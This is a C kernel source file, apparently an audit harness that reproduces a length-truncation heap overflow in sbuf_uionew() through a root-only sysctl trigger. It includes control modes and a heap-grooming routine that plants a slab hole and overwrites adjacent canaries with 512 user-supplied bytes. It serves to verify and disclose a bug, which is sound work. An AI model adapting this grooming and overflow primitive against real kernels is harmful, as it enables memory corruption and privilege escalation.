DF-2553 / kern_df2553.c
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 208 209 210 211 212 213 214 215 216 217 218 219 220 221 222 223 224 225 226 227 228 229 230 231 232 233 234 235 236 237 238 239 240 241 242 243 244 245 246 247 248 249 250 251 252 253 254 255 256 257 258 259 260 261 262 263 264 265 266 267 268 269 270 271 272 273 274 275 276 277 278 279 280 281 282 283 284 285 286 287 288 289 290 291 292 293 294 295 296 297 298 299 300 301 302 303 304 305 306 307 308 309 310 311 312 313 314 315 316 317 318 319 320 321 322 323 324 325 326 327 328 329 330 331 332 333 334 335 336 337 338 339 340 341 342 343 344 345 346 347 348 349 350 351 352 353 354 355 356 357 358 359 360 361 362 363 364 365 366 367 368 369 370 371 372 373 374 375 376 377 378 379 380 381 382 383 384 385 386 387 388 389 390 391 392 393 394 395 396 397 398 399 400 401 402 403 404 405 406 407 408 409 410 411 412 413 414 415 416 417 418 419 420 421 422 423 424 425 426 427 428 429 430 | /* * kern_df2553.c -- DF-2553 verification harness (audit rig, NOT upstream code). * * Exposes the stock sbuf_uionew() KPI (sys/kern/subr_sbuf.c, verbatim, * compiled into the running kernel) through a root-only sysctl so the * ssize_t->int length truncation + full-resid uiomove() mismatch can be * demonstrated on a live kernel without any in-tree caller (there are * none today; verified by grep of the whole tree). * * Trigger (root only): * struct df2553_req (40 bytes) written to kern.df2553_trigger * * Modes: * 0 control: uio_resid = 256, single committed iov. Expect sbuf_uionew * success, s_size == 257, data intact, ZERO canary corruption. * 1 overflow: uio_resid = 0x100000000 (iov0 = 512 committed attacker * pattern bytes, iov1 = 0x100000000-512 at a PROT_NONE page). Expect: * sbuf_new() allocates a 1-byte-class chunk (int truncation of * resid+1), uiomove() copies all 512 attacker bytes into it, then * faults on iov1 -> EFAULT; the 512 bytes have smashed the adjacent * sprayed canaries in the same 8-byte kmalloc zone. * 2 negative control: faithful kmalloc(0x100000001) fails (cannot * allocate 4GiB+1 on this guest) while the truncated (int)1 kmalloc * succeeds -- proving the mode-1 allocation could only have succeeded * through truncation. * * Heap grooming (mode 1) uses the per-CPU slab allocator semantics of * kern_slaballoc.c: kmalloc(1) comes from the 8-byte chunk zone * (ZoneAry[0]); kfree() pushes chunks LIFO onto z_LChunks of the owning * zone; kmalloc() pops from the active zone's z_LChunks head. We spray * 8192 one-byte canaries (0xA5 marker), free one canary near the tail of * the current zone, verify with a probe alloc/free that the very next * kmalloc(1) returns exactly that chunk, then call sbuf_uionew() -- the * only 8-byte-class allocation it performs (SBMALLOC(1)) pops our hole * and the copyin() of the 512 attacker bytes lands on it and everything * after it. */ #include <sys/param.h> #include <sys/errno.h> #include <sys/kernel.h> #include <sys/malloc.h> #include <sys/sbuf.h> #include <sys/sysctl.h> #include <sys/systm.h> #include <sys/uio.h> #include <sys/globaldata.h> MALLOC_DEFINE(M_DF2553, "df2553", "DF-2553 verification rig"); struct df2553_req { uint64_t base0; /* user mapping: committed pattern bytes */ uint64_t len0; uint64_t base1; /* user mapping: faults on first touch */ uint64_t len1; uint32_t mode; uint32_t pad; }; #define DF2553_PAT "DF2553PWN" #define DF2553_PATLEN 9 #define DF2553_MARK 0xA5 #define DF2553_NCAN 8192 #define DF2553_SMASH 512 /* bytes copied past the 1-byte alloc */ #define DF2553_ZMASK ((uintptr_t)0x1FFFF) /* 128KB slab zones on this rig */ static uint8_t **df2553_can; static int df2553_spray(void) { int i; if (df2553_can == NULL) { df2553_can = kmalloc(DF2553_NCAN * sizeof(uint8_t *), M_DF2553, M_WAITOK | M_ZERO); if (df2553_can == NULL) return (ENOMEM); } for (i = 0; i < DF2553_NCAN; ++i) { if (df2553_can[i] == NULL) { df2553_can[i] = kmalloc(1, M_DF2553, M_WAITOK); if (df2553_can[i] == NULL) return (ENOMEM); } *df2553_can[i] = DF2553_MARK; } return (0); } static void df2553_teardown(void) { int i; if (df2553_can == NULL) return; for (i = 0; i < DF2553_NCAN; ++i) { if (df2553_can[i] != NULL) kfree(df2553_can[i], M_DF2553); } kfree(df2553_can, M_DF2553); df2553_can = NULL; } /* * Scan every canary; report any whose marker byte was clobbered. * For canaries inside the smash window behind the hole, additionally * verify all 8 bytes equal the user pattern at the correct ADDRESS- * derived cyclic offset -- this proves the corrupted bytes are a * linear, ordered copy of the userspace buffer (addr math, not index * math: the zone UIndex wraps so index order != address order). */ static int df2553_scan(void *holep, int verbose) { const uint8_t *pat = (const uint8_t *)DF2553_PAT; int i, k, ncorrupt = 0, first = -1, last = -1, nmatch = 0; for (i = 0; i < DF2553_NCAN; ++i) { if (df2553_can[i] == NULL) continue; if (*df2553_can[i] != DF2553_MARK) { uint8_t *p = df2553_can[i]; size_t off = (size_t)((uintptr_t)p - (uintptr_t)holep); if (first < 0) first = i; last = i; ++ncorrupt; if (verbose && ncorrupt <= 6) { kprintf("DF2553[scan]: canary %d @%p = " "%02x %02x %02x %02x %02x %02x %02x %02x" " (byte0 expected %02x per user pattern" " at +%zu past the 1-byte alloc)\n", i, p, p[0], p[1], p[2], p[3], p[4], p[5], p[6], p[7], pat[off % DF2553_PATLEN], off); } if (holep != NULL && off > 0 && off <= DF2553_SMASH) { int ok = 1; for (k = 0; k < 8; ++k) { if (p[k] != pat[(off + k) % DF2553_PATLEN]) ok = 0; } if (ok) ++nmatch; } } } kprintf("DF2553[scan]: corrupted=%d first=%d last=%d " "full-8-byte-pattern-match=%d\n", ncorrupt, first, last, nmatch); return (ncorrupt); } /* * mode 0: control -- small resid, everything must work and nothing must * be corrupted. */ static void df2553_mode0(const struct df2553_req *r) { struct iovec iov; struct uio uio; struct sbuf *s; int err; uint8_t *d; kprintf("DF2553[mode0]: control uio_resid=%llu (0x%llx)\n", (unsigned long long)r->len0, (unsigned long long)r->len0); if (df2553_spray() != 0) { kprintf("DF2553[mode0]: spray FAILED\n"); return; } iov.iov_base = (void *)(uintptr_t)r->base0; iov.iov_len = r->len0; bzero(&uio, sizeof(uio)); uio.uio_iov = &iov; uio.uio_iovcnt = 1; uio.uio_offset = 0; uio.uio_resid = r->len0; uio.uio_segflg = UIO_USERSPACE; uio.uio_rw = UIO_WRITE; uio.uio_td = curthread; s = sbuf_uionew(NULL, &uio, &err); if (s == NULL) { kprintf("DF2553[mode0]: sbuf_uionew FAILED err=%d\n", err); } else { d = (uint8_t *)s->s_buf; kprintf("DF2553[mode0]: OK s=%p err=%d s_size=%lld s_len=%lld " "data[0..7]=%02x %02x %02x %02x %02x %02x %02x %02x\n", s, err, (long long)s->s_size, (long long)s->s_len, d[0], d[1], d[2], d[3], d[4], d[5], d[6], d[7]); sbuf_delete(s); } kprintf("DF2553[mode0]: uio_resid after=%llu (fully drained)\n", (unsigned long long)uio.uio_resid); df2553_scan(NULL, 1); df2553_teardown(); } /* * mode 2: allocation-boundary negative control. */ static void df2553_mode2(void) { void *p; p = kmalloc(0x100000001UL, M_DF2553, M_NOWAIT | M_NULLOK); kprintf("DF2553[mode2]: faithful kmalloc(0x100000001) = %p (%s)\n", p, p != NULL ? "UNEXPECTED SUCCESS" : "NULL: a faithful 4GiB+1 allocation is impossible here"); if (p != NULL) kfree(p, M_DF2553); p = kmalloc((size_t)(int)0x100000001UL, M_DF2553, M_NOWAIT | M_NULLOK); kprintf("DF2553[mode2]: truncated (int)(0x100000001)=1 kmalloc = %p " "usable=%llu\n", p, p != NULL ? (unsigned long long)kmalloc_usable_size(p) : 0ULL); if (p != NULL) kfree(p, M_DF2553); } /* * mode 1: the primitive. */ static void df2553_mode1(const struct df2553_req *r) { struct iovec iov[2]; struct uio uio; struct sbuf *s; uint8_t *holep = NULL; void *probe; int err, hole = -1, h; kprintf("DF2553[mode1]: uio_resid=0x100000000 " "(iov0: 0x%llx committed attacker bytes + " "iov1: 0x%llx at PROT_NONE page)\n", (unsigned long long)r->len0, (unsigned long long)r->len1); kprintf("DF2553[mode1]: sbuf_new length param = (int)(resid+1) = %d; " "uiomove n = resid = %llu <-- mismatch\n", (int)((ssize_t)(r->len0 + r->len1) + 1), (unsigned long long)(r->len0 + r->len1)); if (r->len0 != DF2553_SMASH) { kprintf("DF2553[mode1]: rig expects len0=%d\n", DF2553_SMASH); return; } if (df2553_spray() != 0) { kprintf("DF2553[mode1]: spray FAILED\n"); return; } /* * Build the uio BEFORE touching the allocator further. */ iov[0].iov_base = (void *)(uintptr_t)r->base0; iov[0].iov_len = r->len0; iov[1].iov_base = (void *)(uintptr_t)r->base1; iov[1].iov_len = r->len1; bzero(&uio, sizeof(uio)); uio.uio_iov = iov; uio.uio_iovcnt = 2; uio.uio_offset = 0; uio.uio_resid = (ssize_t)(r->len0 + r->len1); /* 0x100000000 */ uio.uio_segflg = UIO_USERSPACE; uio.uio_rw = UIO_WRITE; uio.uio_td = curthread; /* * Pick the hole: the LOWEST-ADDRESS canary in the frontier zone * (the 128KB slab zone holding the last-sprayed canary -- that zone * is the per-CPU allocator's active zone, ZoneAry[0] TAILQ_LAST, so * the freed chunk becomes its z_LChunks head). Because the ring * fill is address-contiguous, the 512 bytes above the lowest * canary are all allocated canaries of the same zone -- the smash * window then contains only live canaries and no freelist chunks. */ { uintptr_t zlast = (uintptr_t)df2553_can[DF2553_NCAN - 1] & ~DF2553_ZMASK; int cand = -1, i, above = 0; for (i = 0; i < DF2553_NCAN; ++i) { uintptr_t a; if (df2553_can[i] == NULL) continue; a = (uintptr_t)df2553_can[i] & ~DF2553_ZMASK; if (a != zlast) continue; if (cand < 0 || (uintptr_t)df2553_can[i] < (uintptr_t)df2553_can[cand]) cand = i; } if (cand < 0) { kprintf("DF2553[mode1]: no canary in frontier zone?!\n"); df2553_teardown(); return; } for (i = 0; i < DF2553_NCAN; ++i) { uintptr_t a; if (df2553_can[i] == NULL || i == cand) continue; a = (uintptr_t)df2553_can[i]; if (a > (uintptr_t)df2553_can[cand] && a <= (uintptr_t)df2553_can[cand] + DF2553_SMASH) ++above; } if (above < DF2553_SMASH / 8 - 1) { kprintf("DF2553[mode1]: only %d canaries above " "candidate; aborting\n", above); df2553_teardown(); return; } h = cand; } /* * Free the hole, verify with a probe that the allocator hands the * very same chunk back to the next kmalloc(1) (LIFO), then put it * back. SBMALLOC(1) inside sbuf_uionew() will pop it again; the * only intervening allocation is sizeof(struct sbuf) (64-byte * class), a different zone. */ /* * Free the hole, verify with a probe that the allocator hands the * very same chunk back to the next kmalloc(1) (LIFO), then put it * back. SBMALLOC(1) inside sbuf_uionew() will pop it again; the * only intervening allocation is sizeof(struct sbuf) (64-byte * class), a different zone. * * Single shot: if the probe comes back with a different chunk the * allocator had concurrent 8-byte-class traffic; abort (rerun) -- * retrying would leave freed chunks inside the smash window and * corrupt the zone freelist when the overflow lands. */ { uint8_t *victim = df2553_can[h]; kfree(victim, M_DF2553); df2553_can[h] = NULL; probe = kmalloc(1, M_DF2553, M_WAITOK); if (probe == (void *)victim) { kfree(probe, M_DF2553); hole = h; holep = victim; } else { kfree(probe, M_DF2553); } } if (hole < 0) { kprintf("DF2553[mode1]: hole LIFO determinism FAILED " "(allocator noise); no overflow attempted -- rerun\n"); df2553_teardown(); return; } kprintf("DF2553[mode1]: hole = canary idx %d @%p " "(verified: next kmalloc(1) returns exactly this chunk)\n", hole, holep); /* * The call under test. */ s = sbuf_uionew(NULL, &uio, &err); kprintf("DF2553[mode1]: sbuf_uionew returned s=%p *error=%d%s\n", s, err, err == EFAULT ? " (EFAULT: uiomove hit the " "PROT_NONE iov1 AFTER copying iov0)" : " (unexpected)"); kprintf("DF2553[mode1]: uio after: resid=0x%llx iov0.len=%llu " "iov1.len=%llu => %llu attacker bytes were copied into " "s_buf before the fault\n", (unsigned long long)uio.uio_resid, (unsigned long long)iov[0].iov_len, (unsigned long long)iov[1].iov_len, (unsigned long long)(r->len0 - iov[0].iov_len)); /* * The evidence: canaries behind the hole now contain user bytes. */ if (df2553_scan(holep, 1) > 0) kprintf("DF2553[mode1]: *** KERNEL HEAP OVERFLOW REPRODUCED: " "attacker bytes past a 1-byte kmalloc ***\n"); else kprintf("DF2553[mode1]: no corruption observed\n"); df2553_teardown(); } static int df2553_sysctl(SYSCTL_HANDLER_ARGS) { struct df2553_req r; int error; if (req->newptr == NULL) return (EINVAL); error = SYSCTL_IN(req, &r, sizeof(r)); if (error) return (error); kprintf("DF2553: === trigger mode=%u ===\n", r.mode); switch (r.mode) { case 0: df2553_mode0(&r); break; case 1: df2553_mode1(&r); break; case 2: df2553_mode2(); break; default: return (EINVAL); } kprintf("DF2553: === mode=%u done ===\n", r.mode); return (0); } SYSCTL_PROC(_kern, OID_AUTO, df2553_trigger, CTLTYPE_INT | CTLFLAG_RW, 0, 0, df2553_sysctl, "I", "DF-2553 sbuf_uionew verification trigger"); |